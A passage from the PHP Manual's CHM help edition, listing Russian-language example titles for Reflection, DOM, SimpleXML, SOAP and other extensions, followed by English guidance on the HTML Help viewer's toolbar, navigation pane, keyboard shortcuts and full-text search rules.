  • Example#5244 - Пример использования QuickHashIntStringHash::add
  • Example#5245 - Пример использования QuickHashIntStringHash::__construct
  • Example#5246 - Пример использования QuickHashIntStringHash::delete
  • Example#5247 - Пример использования QuickHashIntStringHash::get
  • Example#5248 - Пример использования QuickHashIntStringHash::getSize
  • Example#5249 - Формат файла QuickHash IntString
  • Example#5250 - Формат файла QuickHash IntString
  • Example#5251 - Пример использования QuickHashIntStringHash::loadFromFile
  • Example#5252 - Пример использования QuickHashIntStringHash::loadFromString
  • Example#5253 - Пример использования QuickHashIntStringHash::saveToFile
  • Example#5254 - Пример использования QuickHashIntStringHash::saveToString
  • Example#5255 - Пример использования QuickHashIntStringHash::set
  • Example#5256 - Пример использования QuickHashIntStringHash::update
  • Example#5257 - Пример использования Reflection из shell (терминала)
  • Example#5258 - Расширение встроенных классов
  • Example#5259 - Пример использования Reflection::getModifierNames
  • Example#5260 - Простой пример использования ReflectionClass
  • Example#5261 - Пример использования ReflectionClass::export
  • Example#5262 - Простой пример использования
  • Example#5263 - Фильтрация результатов по имени класса
  • Example#5264 - Фильтрация результатов по имени класса с наследованием
  • Example#5265 - Пример использования ReflectionClass::getConstant
  • Example#5266 - Пример использования ReflectionClass::getConstructor
  • Example#5267 - Пример использования ReflectionClass::getDefaultProperties
  • Example#5268 - Пример использования ReflectionClass::getDocComment
  • Example#5269 - Пример использования ReflectionClass::getEndLine
  • Example#5270 - Пример использования ReflectionClass::getExtension
  • Example#5271 - Пример использования ReflectionClass::getExtensionName
  • Example#5272 - Пример использования ReflectionClass::getInterfaceNames
  • Example#5273 - Пример использования ReflectionClass::getInterfaces
  • Example#5274 - Пример использования ReflectionClass::getMethod
  • Example#5275 - Пример использования ReflectionClass::getMethods
  • Example#5276 - Пример фильтрации результата вызова ReflectionClass::getMethods
  • Example#5277 - Пример использования ReflectionClass::getName
  • Example#5278 - Пример использования ReflectionClass::getNamespaceName
  • Example#5279 - Пример фильтрации с помощью ReflectionClass::getProperties
  • Example#5280 - Пример использования ReflectionClass::getProperty
  • Example#5281 - Простой базовой работы с методом ReflectionClass::getReflectionConstants
  • Example#5282 - Пример использования ReflectionClass::getShortName
  • Example#5283 - Пример использования ReflectionClass::getStaticPropertyValue
  • Example#5284 - Пример использования ReflectionClass::hasConstant
  • Example#5285 - Пример использования ReflectionClass::hasMethod
  • Example#5286 - Пример использования ReflectionClass::hasProperty
  • Example#5287 - Пример использования ReflectionClass::inNamespace
  • Example#5288 - Пример использования ReflectionClass::isAbstract
  • Example#5289 - Пример ReflectionClass::isAnonymous
  • Example#5290 - Пример использования ReflectionClass::isCloneable
  • Example#5291 - Пример использования ReflectionClass::isFinal
  • Example#5292 - Пример использования ReflectionClass::isInstance и его аналогов
  • Example#5293 - Пример использования ReflectionClass::isInstantiable
  • Example#5294 - Пример использования ReflectionClass::isInterface
  • Example#5295 - Пример использования ReflectionClass::isInternal
  • Example#5296 - Пример использования метода ReflectionClass::isIterable
  • Example#5297 - Пример использования ReflectionClass::isReadOnly
  • Example#5298 - Пример использования ReflectionClass::newInstanceArgs
  • Example#5299 - Пример использования ReflectionClass::__toString
  • Example#5300 - Простой пример
  • Example#5301 - Фильтрация результатов по имени класса
  • Example#5302 - Фильтрация результатов по имени класса, с наследованием
  • Example#5303 - Пример использования ReflectionClassConstant::isEnumCase
  • Example#5304 - Пример использования ReflectionEnum::getBackingType
  • Example#5305 - Пример использования ReflectionEnum::getCase
  • Example#5306 - Пример использования ReflectionEnum::getCases
  • Example#5307 - Пример использования ReflectionEnum::hasCase
  • Example#5308 - Пример использования ReflectionEnum::isBacked
  • Example#5309 - Пример использования ReflectionEnum::getValue
  • Example#5310 - Пример использования ReflectionEnum::getBackingValue
  • Example#5311 - Пример использования ReflectionExtension
  • Example#5312 - Пример использования ReflectionExtension::getClasses
  • Example#5313 - Пример использования ReflectionExtension::getClassNames
  • Example#5314 - Пример использования ReflectionExtension::getConstants
  • Example#5315 - Пример использования ReflectionExtension::getDependencies
  • Example#5316 - Пример использования ReflectionExtension::getFunctions
  • Example#5317 - Пример использования ReflectionExtension::getINIEntries
  • Example#5318 - Пример использования ReflectionExtension::getName
  • Example#5319 - Пример использования ReflectionExtension::getVersion
  • Example#5320 - Пример использования ReflectionExtension::info
  • Example#5321 - Пример использования ReflectionFunction::__construct
  • Example#5322 - Пример использования ReflectionFunction::invoke
  • Example#5323 - Пример использования ReflectionFunction::invokeArgs
  • Example#5324 - Пример использования ReflectionFunction::invokeArgs со ссылками на аргументы
  • Example#5325 - Пример использования ReflectionFunction::isAnonymous
  • Example#5326 - Пример использования ReflectionFunction::__toString
  • Example#5327 - Простой пример с методом класса
  • Example#5328 - Простой пример с функцией
  • Example#5329 - Фильтрация результатов по имени класса
  • Example#5330 - Фильтрация результатов по имени класса, с наследованием
  • Example#5331 - Пример использования ReflectionFunctionAbstract::getClosureUsedVariables
  • Example#5332 - Пример ReflectionFunctionAbstract::getReturnType
  • Example#5333 - Применение к встроенным функциям
  • Example#5334 - Пример использования ReflectionFunctionAbstract::getTentativeReturnType
  • Example#5335 - Пример ReflectionFunctionAbstract::hasReturnType
  • Example#5336 - Применение к встроенным функциям
  • Example#5337 - Пример использования ReflectionFunctionAbstract::hasTentativeReturnType
  • Example#5338 - Пример использования метода ReflectionFunctionAbstract::isClosure
  • Example#5339 - Пример использования ReflectionFunctionAbstract::isDeprecated
  • Example#5340 - Пример использования ReflectionMethod::__construct
  • Example#5341 - Пример использования метода ReflectionMethod::createFromMethodName
  • Example#5342 - Пример использования ReflectionMethod::getDeclaringClass
  • Example#5343 - Пример использования ReflectionMethod::getModifiers
  • Example#5344 - Пример использования ReflectionMethod::getPrototype
  • Example#5345 - Пример использования ReflectionMethod::hasPrototype
  • Example#5346 - Пример использования ReflectionMethod::invoke
  • Example#5347 - Пример использования ReflectionMethod::invokeArgs
  • Example#5348 - Определение простого класса
  • Example#5349 - Пример использования ReflectionMethod::__toString
  • Example#5350 - Пример использования ReflectionNamedType::isBuiltin
  • Example#5351 - Использования класса ReflectionParameter
  • Example#5352 - Простой пример
  • Example#5353 - Фильтрация результатов по имени класса
  • Example#5354 - Фильтрация результатов по имени класса, с наследованием
  • Example#5355 - Пример использования класса ReflectionParameter
  • Example#5356 - Получение класса, в котором объявлен метод
  • Example#5357 - Получение
  • Example#5358 - Получение значений по умолчанию констант для параметров функции
  • Example#5359 - Пример использования метода ReflectionParameter::getType начиная с PHP 7.1.0
  • Example#5360 - Использование метода ReflectionParameter::getType до PHP 7.1.0
  • Example#5361 - Пример использования ReflectionParameter::getType в PHP 8.0.0 и более поздних
  • Example#5362 - Пример использования метода ReflectionParameter::hasType
  • Example#5363 - Альтернатива в PHP 8.0.0
  • Example#5364 - Альтернатива в PHP 8.0.0
  • Example#5365 - Пример использования ReflectionParameter::__toString
  • Example#5366 - Пример использования метода ReflectionProperty::__construct
  • Example#5367 - Получение значений защищённых и закрытых свойств через класс ReflectionProperty
  • Example#5368 - Простой пример
  • Example#5369 - Фильтрация результатов по имени класса
  • Example#5370 - Фильтрация результатов по имени класса, с наследованием
  • Example#5371 - Пример использования метода ReflectionProperty::getDefaultValue
  • Example#5372 - Пример использования метода ReflectionProperty::getDocComment
  • Example#5373 - Объявление нескольких свойств
  • Example#5374 - Пример использования метода ReflectionProperty::getType
  • Example#5375 - Пример использования ReflectionProperty::getValue
  • Example#5376 - Пример использования ReflectionProperty::hasDefaultValue
  • Example#5377 - Пример использования ReflectionProperty::hasType
  • Example#5378 - Пример использования ReflectionProperty::isDefault
  • Example#5379 - Пример использования метода ReflectionProperty::isInitialized
  • Example#5380 - Пример использования ReflectionProperty::isPromoted
  • Example#5381 - Определение простого класса
  • Example#5382 - Пример использования метода ReflectionProperty::setValue
  • Example#5383 - Пример использования ReflectionType::allowsNull
  • Example#5384 - Пример использования метода ReflectionType::__toString
  • Example#5385 - Пример использования ReflectionUnionType::getTypes
  • Example#5386 - Пример использования ReflectionGenerator::__construct
  • Example#5387 - Пример использования метода ReflectionGenerator::getExecutingFile
  • Example#5388 - Пример использования метода ReflectionGenerator::getExecutingGenerator
  • Example#5389 - Пример использования метода ReflectionGenerator::getExecutingLine
  • Example#5390 - Пример использования метода ReflectionGenerator::getFunction
  • Example#5391 - Пример использования ReflectionGenerator::getThis
  • Example#5392 - Пример использования метода ReflectionGenerator::getTrace
  • Example#5393 - Пример использования метода ReflectionIntersectionType::getTypes
  • Example#5394 - Простое использование метода ReflectionReference::getId
  • Example#5395 - Пример использования boolval
  • Example#5396 - Пример использования функции debug_zval_dump
  • Example#5397 -
  • Example#5398 - Простое сравнение языковых конструкций empty и isset.
  • Example#5399 - Конструкция empty и строковые индексы
  • Example#5400 - Пример использования floatval
  • Example#5401 - Пример использования floatval с нечисловыми крайними левыми символами
  • Example#5402 - Пример использования get_debug_type
  • Example#5403 - Пример использования get_defined_vars
  • Example#5404 - Использование get_resource_id даёт тот же результат, что и приведение к целому числу (int)
  • Example#5405 - Пример использования get_resource_type
  • Example#5406 - Пример использования gettype
  • Example#5407 - Примеры использования intval
  • Example#5408 - Пример проверки того, что переменная — массив
  • Example#5409 - Пример использования функции is_bool
  • Example#5410 - Пример использования is_callable
  • Example#5411 - is_callable и конструкторы
  • Example#5412 - Примеры использования функции is_countable
  • Example#5413 - Пример использования функции is_float
  • Example#5414 - Пример использования функции is_int
  • Example#5415 - Пример использования функции is_iterable
  • Example#5416 - Пример использования функции is_null
  • Example#5417 - Примеры использования функции is_numeric
  • Example#5418 - Пример использования функции is_numeric с пробелом
  • Example#5419 - Пример использования функции is_object
  • Example#5420 - Пример использования функции is_resource
  • Example#5421 - Пример использования функции is_scalar
  • Example#5422 - Пример использования функции is_string
  • Example#5423 - Пример использования языковой конструкции isset
  • Example#5424 - Языковая конструкция isset и строковые индексы
  • Example#5425 - Пример использования функции print_r
  • Example#5426 - Пример использования параметра return
  • Example#5427 - Пример использования serialize
  • Example#5428 - Пример использования функции settype
  • Example#5429 - Пример использования strval с магическим методом PHP __toString().
  • Example#5430 - Пример использования функции unserialize
  • Example#5431 - Пример использования директивы unserialize_callback_func
  • Example#5432 - Пример использования unset
  • Example#5433 - Использование приведения типа (unset)
  • Example#5434 - Пример использования функции var_dump
  • Example#5435 - Примеры использования var_export
  • Example#5436 - Экспорт stdClass с PHP 7.3.0
  • Example#5437 - Экспорт классов
  • Example#5438 - Использование __set_state()
  • Example#5439 -
  • Example#5440 - Пример использования OAuth::fetch
  • Example#5441 - Пример использования OAuth::getAccessToken
  • Example#5442 - Пример использования OAuth::getRequestToken
  • Example#5443 - Пример использования OAuth::setRequestEngine
  • Example#5444 - Пример использования OAuth::setRsaCertificate
  • Example#5445 - Пример использования OAuth::setToken
  • Example#5446 - Пример использования OAuthProvider::__construct
  • Example#5447 - Пример использования OAuthProvider::consumerHandler
  • Example#5448 - Пример использования OAuthProvider::generateToken
  • Example#5449 - Пример использования OAuthProvider::is2LeggedEndpoint
  • Example#5450 - Пример использования OAuthProvider::timestampNonceHandler
  • Example#5451 - Пример использования OAuthProvider::tokenHandler
  • Example#5452 - Пример использования функции is_soap_fault
  • Example#5453 - Стандартный метод SOAP для сообщений об ошибках - это исключения
  • Example#5454 - Указание использования только TLS 1.3
  • Example#5455 - Пример использования SoapClient::__construct
  • Example#5456 - Пример использования SOAP_SINGLE_ELEMENT_ARRAYS
  • Example#5457 - Пример использования SoapClient::__doRequest
  • Example#5458 - Пример использования SoapClient::__getFunctions
  • Example#5459 - Пример использования SoapClient::__getLastRequest()
  • Example#5460 - Пример использования SoapClient::__getLastRequestHeaders()
  • Example#5461 - Пример использования SoapClient::__getLastResponse()
  • Example#5462 - Пример использования SoapClient::__getLastResponse()
  • Example#5463 - Пример использования SoapClient::__getTypes
  • Example#5464 - Пример использования SoapClient::__setLocation
  • Example#5465 - Пример использования SoapClient::__setSoapHeaders
  • Example#5466 - Установка нескольких заголовков
  • Example#5467 - Пример использования SoapClient::__soapCall
  • Example#5468 - Пример использования SoapServer::addFunction
  • Example#5469 - Пример использования SoapServer::SoapServer
  • Example#5470 - Пример использования SoapServer::getFunctions
  • Example#5471 - Пример использования SoapServer::handle
  • Example#5472 - Пример использования SoapServer::setPersistence
  • Example#5473 - Несколько примеров
  • Example#5474 - Несколько примеров
  • Example#5475 - Пример использования SoapHeader::SoapHeader
  • Example#5476 - Пример использования SoapParam::SoapParam
  • Example#5477 - Пример использования SoapVar::__construct
  • Example#5478 - Пример сервера Yar
  • Example#5479 - Обращаемся к серверу из браузера (запрос GET)
  • Example#5480 - Пример клиента Yar
  • Example#5481 - Пример конкурирующих клиентов Yar
  • Example#5482 - Пример использования Yar_Server::__construct
  • Example#5483 - Пример использования Yar_Server::handle
  • Example#5484 - Пример использования Yar_Client::__call
  • Example#5485 - Пример использования Yar_Client::__construct
  • Example#5486 - Пример использования Yar_Client::setOpt
  • Example#5487 - Пример использования Yar_Concurrent_Client::call
  • Example#5488 - Пример использования Yar_Concurrent_Client::loop
  • Example#5489 - Пример использования Yar_Concurrent_Client::reset
  • Example#5490 - Пример использования Yar_Server_Exception::getType
  • Example#5491 - Пример использования Yar_Client_Exception::getType
  • Example#5492 - Пример клиентской функции XMLRPC
  • Example#5493 - Пример XML-RPC типа
  • Example#5494 - Пример использования xmlrpc_set_type
  • Example#5495 - For Each в ASP
  • Example#5496 - foreach в PHP
  • Example#5497 - Первый пример
  • Example#5498 - Второй пример
  • Example#5499 - Пример использования dotnet
  • Example#5500 - Пример использования variant
  • Example#5501 - Использование COMPersistHelper::saveToFile
  • Example#5502 - Пример com_event_sink
  • Example#5503 - Регистрация скрипта PHP для запуска в качестве службы
  • Example#5504 - Удаление регистрации службы
  • Example#5505 - Запуск в качестве службы
  • Example#5506 - Пример использования win32_create_service
  • Example#5507 - Пример использования win32_create_service с зависимостями
  • Example#5508 - Пример использования win32_create_service с восстановлением
  • Example#5509 - Пример использования win32_delete_service
  • Example#5510 - Пример win32_start_service_ctrl_dispatcher
  • Example#5511 - book.xml
  • Example#5512 - Создание нового объекта класса DOMAttr
  • Example#5513 - Пример использования DOMAttr::isId()
  • Example#5514 - Создание объекта класса DOMCdataSection
  • Example#5515 - Пример использования метода DOMCharacterData::after
  • Example#5516 - Пример использования метода DOMCharacterData::before
  • Example#5517 - Пример использования метода DOMCharacterData::remove
  • Example#5518 - Пример использования метода DOMCharacterData::replaceWith
  • Example#5519 - Создание объекта DOMComment
  • Example#5520 - Пример использования метода DOMDocument::adoptNode
  • Example#5521 - Пример использования метода DOMDocument::append
  • Example#5522 - Создание объекта DOMDocument
  • Example#5523 - Создание нового элемента и вставка его в качестве корневого
  • Example#5524 - Передача текста, содержащего неэкранированный & в value
  • Example#5525 - Создание элемента и вставка в документ в качестве корневого
  • Example#5526 - Пример префикса пространства имён
  • Example#5527 - Пример использования DOMDocument::getElementById()
  • Example#5528 - Простой пример использования
  • Example#5529 - Получение всех элементов XInclude
  • Example#5530 - Пример использования DOMDocument::importNode
  • Example#5531 - Создание документа
  • Example#5532 - Создание документа
  • Example#5533 - Создание документа
  • Example#5534 - Создание документа
  • Example#5535 - Пример использования метода DOMDocument::prepend
  • Example#5536 - Добавление нового метода в класс DOMElement для упрощения кода
  • Example#5537 - Получение элементов в виде пользовательского класса
  • Example#5538 - Получение имени документа владельца
  • Example#5539 - Пользовательские объекты временны
  • Example#5540 - Пример использования метода DOMDocument::replaceChildren
  • Example#5541 - Сохранение DOM-дерева в файл
  • Example#5542 - Сохранение HTML-дерева в виде строки
  • Example#5543 - Сохранение HTML-дерева в файл
  • Example#5544 - Сохранение DOM-дерева в виде строки
  • Example#5545 - Пример проверки DTD
  • Example#5546 - Пример использования DOMDocument::xinclude()
  • Example#5547 - Пример использования метода DOMDocumentFragment::append
  • Example#5548 - Добавление XML-данных в документ
  • Example#5549 - Пример использования метода DOMDocumentFragment::prepend
  • Example#5550 - Пример использования метода DOMDocumentFragment::replaceChildren
  • Example#5551 - Пример использования метода DOMElement::after
  • Example#5552 - Пример использования метода DOMElement::append
  • Example#5553 - Пример использования метода DOMElement::before
  • Example#5554 - Создание нового DOMElement
  • Example#5555 - Пример использования метода DOMElement::getAttributeNames
  • Example#5556 - Пример использования метода DOMElement::insertAdjacentElement
  • Example#5557 - Пример использования метода DOMElement::insertAdjacentText
  • Example#5558 - Пример использования метода DOMElement::prepend
  • Example#5559 - Пример использования метода DOMElement::remove
  • Example#5560 - Пример использования метода DOMElement::replaceChildren
  • Example#5561 - Пример использования метода DOMElement::replaceWith
  • Example#5562 - Установка значения атрибута
  • Example#5563 - Пример использования метода DOMElement::toggleAttribute
  • Example#5564 - Создание нового объекта DOMEntityReference
  • Example#5565 - Создание документа с прикреплённым DTD
  • Example#5566 - Тестирование реализации DOM
  • Example#5567 - Добавление дочернего узла
  • Example#5568 - Вложенные дочерние узлы
  • Example#5569 - Пример использования метода DOMNode::contains
  • Example#5570 - Пример использования метода DOMNode::getLineNo
  • Example#5571 - Пример использования DOMNode::getNodePath
  • Example#5572 - Пример использования метода DOMNode::getRootNode
  • Example#5573 - Пример использования метода DOMNode::isEqualNode
  • Example#5574 - Удаление дочернего узла
  • Example#5575 - Вывод содержимого таблицы
  • Example#5576 - Пример использования метода DOMParentNode::replaceChildren
  • Example#5577 - Создание объекта класса DOMProcessingInstruction
  • Example#5578 - Создание нового узла DOMText
  • Example#5579 - Получение количества всех английских книг
  • Example#5580 - Получение списка всех книг на английском
  • Example#5581 - book.xml
  • Example#5582 - DOMXPath::registerPHPFunctions с php:functionString
  • Example#5583 - DOMXPath::registerPHPFunctions с php:function
  • Example#5584 - Импорт SimpleXML в DOM с помощью функции dom_import_simplexml
  • Example#5585 - Пример использования libxml_get_errors
  • Example#5586 - Пример использования libxml_set_external_entity_loader
  • Example#5587 - Пример использования libxml_set_streams_context
  • Example#5588 - Пример использования libxml_use_internal_errors
  • Example#5589 - Файл example.php с XML строкой
  • Example#5590 - Получение части документа <plot>
  • Example#5591 - Получение строки <line>
  • Example#5592 - Доступ к неуникальным элементам в SimpleXML
  • Example#5593 - Работа с атрибутами
  • Example#5594 - Сравнение элементов и атрибутов с текстом
  • Example#5595 - Сравнение двух элементов
  • Example#5596 - XPath — язык запросов к элементам XML-документа
  • Example#5597 - Установка значений
  • Example#5598 - Добавление элементов и атрибутов
  • Example#5599 - Взаимодействие с DOM
  • Example#5600 - Загрузка XML-строки с неправильным синтаксисом
  • Example#5601 - Добавление атрибутов и потомков к SimpleXML-элементу
  • Example#5602 - Добавление атрибутов и потомков к элементу SimpleXML
  • Example#5603 - Получение XML
  • Example#5604 - Использование asXML() с результатами SimpleXMLElement::xpath
  • Example#5605 - Интерпретация XML-строки
  • Example#5606 - Обход псевдомассива children()
  • Example#5607 - Использование пространства имён
  • Example#5608 - Создание объекта SimpleXMLElement
  • Example#5609 - Создание объекта SimpleXMLElement из URL-адреса
  • Example#5610 - Подсчёт количества дочерних элементов
  • Example#5611 - Возврат текущего элемента
  • Example#5612 - Получение пространства имён документа
  • Example#5613 - Работа с несколькими пространствами имён
  • Example#5614 - Получение имён XML-элемента
  • Example#5615 - Получение пространств имён, используемых в документе
  • Example#5616 - Возвращение дочерних элементов текущего элемента
  • Example#5617 - Проверка наличия у текущего элемента дочерних элементов
  • Example#5618 - Получение текущего ключа XML-тега
  • Example#5619 - Перейти к следующему элементу
  • Example#5620 - Установка префикса пространства имён для использования в запросе XPath
  • Example#5621 - Перемотка к первому элементу
  • Example#5622 - Получить содержимое строки
  • Example#5623 - Проверка, является ли текущий элемент корректным
  • Example#5624 - Xpath
  • Example#5625 - Импорт DOM
  • Example#5626 - Интерпретация XML-документа
  • Example#5627 - Интерпретация XML-строки
  • Example#5628 - Сериализация одно значения с помощью WDDX
  • Example#5629 - Использование инкрементальных пакетов WDDX
  • Example#5630 - Пример использования wddx_serialize_vars
  • Example#5631 - Показать структуру элемента XML
  • Example#5632 - Отображение XML в HTML
  • Example#5633 - Пример использования внешней сущности
  • Example#5634 - xmltest.xml
  • Example#5635 - xmltest2.xml
  • Example#5636 - Пример использования xml_parse_into_struct
  • Example#5637 - moldb.xml - небольшая база данных с информацией о молекулах
  • Example#5638 - parsemoldb.php - разбирает moldb.xml и помещает данные в массив молекул
  • Example#5639 - Разбор по частям больших XML-документов
  • Example#5640 - Пример использования xml_set_object
  • Example#5641 - Проверка правильности XML-документа
  • Example#5642 - Создание простого XML-документа
  • Example#5643 - Работа с пространствами имён XML
  • Example#5644 - Работа с объектно-ориентированным API
  • Example#5645 - Прямой вывод XML
  • Example#5646 - XMLWriter::setIndent и смешанное содержимое
  • Example#5647 - Пример базового использования XMLWriter::startAttribute
  • Example#5648 - Перемешивание подэлементов и атрибутов
  • Example#5649 - Базовое использование xmlwriter_write_cdata
  • Example#5650 - collection.xml
  • Example#5651 - collection.xsl
  • Example#5652 - fruits.xml
  • Example#5653 - fruits.xsl
  • Example#5654 - Сбор и вывод ошибок
  • Example#5655 - Создаёт XSLTProcessor
  • Example#5656 - Проверка поддержки EXSLT
  • Example#5657 - Простой вызов функции PHP из таблицы стилей
  • Example#5658 - Изменение владельца перед преобразованием
  • Example#5659 - Пример вывода профилирующей информации
  • Example#5660 - Преобразование в DOMDocument
  • Example#5661 - Преобразование в HTML файл
  • Example#5662 - Трансформация в строку
  • Example#5663 - Скрытый элемент HTML-формы
  • Example#5664 - Данные, которые редактирует пользователь
  • Example#5665 - В URL
  • Example#5666 - Генерирование JavaScript из PHP
  • Example#5667 - Пример кода на PHP/FI
  • Example#5668 - Активация полного логирования и сообщения об ошибках для dev. домена
  • Example#5669 - Добавление скрипта безопасности для защищённых зон
  • Example#5670 - include_path в Unix
  • Example#5671 - include_path в Windows
  • Example#5672 - Настройка include_path с помощью переменной окружения ${USER} в Unix
  • Example#5673 - string.rot13
  • Example#5674 - string.toupper
  • Example#5675 - string.tolower
  • Example#5676 - string.strip_tags
  • Example#5677 - convert.base64-encode и convert.base64-decode
  • Example#5678 - convert.quoted-printable-encode & convert.quoted-printable-decode
  • Example#5679 - convert.iconv.*
  • Example#5680 - zlib.deflate и zlib.inflate
  • Example#5681 - Упрощённое использование zlib.deflate
  • Example#5682 - bzip2.compress и bzip2.decompress
  • Example#5683 - Шифрование/расшифровка используя Blowfish
  • Example#5684 - Шифрование файла с помощью AES-128 CBC с SHA256 HMAC

User Contributed Notes

There are no user contributed notes for this page.


Список изменений

Следующие изменения были произведены с функциями встроенных модулей.

Version Function Описание

User Contributed Notes

There are no user contributed notes for this page.


Руководство в формате HTML Help

  • About This Edition
  • Using PHP Manual CHM Edition
    • The HTML Help Toolbar
    • The Navigation Pane
    • Keyboard Shortcuts
  • The Full Text Search
    • General searching rules
    • Searching for words or phrases
    • Defining search terms
    • Using nested expressions when searching
  • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


About This Edition

The Windows HTML Help Edition of the PHP Manual is aimed at developers, who want the manual at hand every time, and would like to read manual pages and user notes without waiting for a remote web page to download. This edition gives you the full content of the manual plus the user notes, with some great features provided by the viewer application by the scripts we use to generate this format and by other contributors in the form of skins.

This distribution of the PHP Manual contains many files, including the main manual file php_manual_en.chm. You can view the manual by double clicking on this file (as you already guessed). You may also see a php_manual_en.chw file in the directory, it's generated the first time you use the index tab, and it contains an index with the manual's pages.

For those interested in technical details about Microsoft HTML Help, » http://www.helpware.net/ is a great resource. For more information and positioning of Windows HTML Help in the Microsoft help formats and services history, see this » WinWriters article.

User Contributed Notes

There are no user contributed notes for this page.


Using PHP Manual CHM Edition

Содержание

  • The HTML Help Toolbar
  • The Navigation Pane
  • Keyboard Shortcuts

When you double click on a CHM, a HTML Help Viewer window opens with three panes. On the left side of the window is the Navigation pane. It contains four navigational tabs: the Contents, Index, Search and Favorites tabs. On the right side of the window is the Topic pane. It displays the selected help topic, or the default help topic on startup. The help pages are all separate HTML files, your Internet Explorer displays the pages in the Topic pane. The third pane is the toolbar, which is located below the help window title bar. You can adjust the horizontal layout with dragging the vertical border between the Navigation pane and the Topic pane.

Note, that when you open the CHM the first time, it may appear in a strange position and size. From then, Windows remembers the window position, size and the last opened tab. All these including your favorites are stored in a file named hh.dat. If you move your file to another directory, all these remembered settings will be lost (including your favorites listing!). If you replace your CHM file with a new one, with the same name, this is not a problem though. The file names and path values are stored in hh.dat.

User Contributed Notes

There are no user contributed notes for this page.


The HTML Help Toolbar

The HTML Help Toolbar contains the following icons, when you view the PHP Manual:

  • Hide/Show - Hides/shows the navigation pane.
  • Locate - Locates a topic in the contents tab (in case you reached a topic with search, index or favorites, and would like to see where it is in the table of contents tree view).
  • Back - Goes back in the history.
  • Forward - Goes forward in the history.
  • Refresh - Reloads the current page.
  • Home - Opens the startup page of the CHM.
  • Print - Opens the print dialog box.
  • Options - Provides a dropdown with more options.
Using this toolbar is really easy, many of the toolbar icons are strongly related to their Internet Explorer equivalents.

User Contributed Notes

There are no user contributed notes for this page.


The Navigation Pane

The Navigation Pane contains four navigational tabs: the Contents, Index, Search and Favorites tabs. These all provide different methods to access a topic in the help file.

  • The contents tab reveals a tree like table of contents, where you can navigate to the desired topic by opening and closing parts of the tree. You can even access the deepest sections using this TOC. If you right click on an item here and choose "Print...", you'll have the option to print the selected topic or the selected topic and all subtopics. However printing is not the initial goal of this representation of the manual (the PDF version is suitable for printing).
  • The index tab lists a huge number of "keywords" (actually manual page titles). You can pick one, or start to type a keyword, see the list adjusting to your input, and then click on a topic, or press enter if the selected topic is the one you would like to see.
  • The search tab shows one of the most powerful features of the HTML Help Viewer, the full text search (also known as FTS). Here you can type in your search expression, optionally connecting words with AND/OR/NEAR/NOT. Before you click 'List topics', you can also set some options at the bottom. After the search results are displayed, you'll realize that manual text and user note results are separated. To sort out the two types, click on the 'Location' column header. Now from the search results list, you can pick a topic, and see it's page. The keywords you searched for are highlighted on the page.
  • The favorites tab enables you to store your most used topics in a list, easily accessible. Here you can see the list, add the current topic to it, remove one, or display a selected item. You can also specify your own title for the favorite, by typing it into the 'Current topic:' box. The user note page titles are prepended with a 'N:' string so you can distinguish them from normal manual pages in the favorites listing.

User Contributed Notes

There are no user contributed notes for this page.


Keyboard Shortcuts

There are many keyboard shortcuts you can use to increase your productivity. Many users find it more appropriate to use these keyboard shortcuts to access topics, instead of clicking.

General Help Viewer Shortcuts
To | Press
Close the Help Viewer | ALT+F4
Display the Options menu | ALT+O
Hide or show the Navigation pane | ALT+O, and then T
Print a topic | ALT+O, and then P
Move back to the previous topic | ALT+LEFT ARROW
Move forward to the next topic (provided you have viewed it just previously) | ALT+RIGHT ARROW
Turn on or off search highlighting. | ALT+O, and then O
Return to the help file home page | ALT+O, and then H
Switch between the Navigation pane and the Topic pane | F6
Scroll through all the links in a topic or through all the options on a Navigation pane tab | TAB
Display context (right click) menu | SHIFT+F10
Contents Tab Shortcuts
To | Press
Display the Contents tab | ALT+C
Open and close a book or folder | PLUS SIGN and MINUS SIGN, or LEFT ARROW and RIGHT ARROW
Select a topic | DOWN ARROW and UP ARROW
Display the selected topic | ENTER
Index Tab Shortcuts
To | Press
Display the Index tab | ALT+N
Type a keyword to search for | ALT+W, and then type the word
Select a keyword in the list | UP ARROW and DOWN ARROW
Display the associated topic | ENTER or ALT+D
Search Tab shortcuts
To | Press
Display the Search tab | ALT+S
Type a keyword to search for | ALT+W, and then type the word
Start a search | ALT+L
Select a topic in the results list | ALT+T, and then UP ARROW and DOWN ARROW
Display the selected topic | ENTER or ALT+D
Search for a keyword in the result list of a prior search | ALT+U
Search for words similar to the keyword. For example, to find words like "running" and "runs" for the keyword "run" | ALT+M
Only search through topic titles | ALT+R
Favorites Tab Shortcuts
To | Press
Display the Favorites tab | ALT+I
Add the currently displayed topic to the Favorites list | ALT+A
Select a topic in the Favorites list | ALT+P, and then UP ARROW and DOWN ARROW
Display the selected topic | ENTER or ALT+D
Remove the selected topic from the list | ALT+R
Topic Pane Shortcuts
To | Press
Index Lookup | Select the words you would like to look up and press F1
Find on page | CTRL+F, and then adjust options
Refresh page | F5

User Contributed Notes

There are no user contributed notes for this page.


The Full Text Search

Содержание

  • General searching rules
  • Searching for words or phrases
  • Defining search terms
  • Using nested expressions when searching

This edition of the PHP Manual includes an advanced full text search possibility provided by the viewer application. This enables users to search through every word in the help file to find a match. For example, if a user does a full-text search on the word "Apache", every topic that contains the word "Apache" will be listed. Advanced full-text search allows a user to search using boolean, wildcard, and nested expressions. A user can also limit the search to previous results, match similar words, or search topic titles only.

The usage of the search feature is fairly straightforward. Click on the search tab, type in the desired words and press ENTER (or click on "List Topics"). Then you'll receive a list of matches from the PHP Manual (and the notes). You can use the button with a right arrow on it to add boolean operators to your search (or you can type them in). As you see the results, you can use the column headings (Title, Location and Rank) to sort the topic list. The default order is by Rank. You can also adjust some parameters at the bottom of this tab.

The words found are highlighted on the current page in the Topic pane by default. You can turn off this feature by choosing the "Search Highlight Off" menu item in the Options menu. To can get this feature back similarly. If you are viewing a long topic, only the first 500 instances of a search word or phrase will be highlighted, due to a limitation of the viewer.

User Contributed Notes

There are no user contributed notes for this page.


General searching rules

A basic search consists of the word or phrase you want to find. You can use wildcard expressions, nested expressions, boolean operators, similar word matches, a previous results list, or topic titles to further define your search.

The basic rules for formulating queries are as follows:

  • Searches are not case-sensitive, so you can type your search in uppercase or lowercase characters.
  • You may search for any combination of letters (a-z) and numbers (0-9). You cannot search for single letters (a, b, c, etc.) and common words, like: an, and, as, at, be, but, by, do, for, from, have, he, in, it, not, of, on, or, she, that, the, there, they, this, to, we, which, with, you.
  • Punctuation marks such as the period (.), colon (:), semicolon (;), comma (,), and hyphen (-) are ignored during a search.
  • Group the elements of your search using double quotes or parentheses to set apart each element. You cannot search for quotation marks.

Замечание:

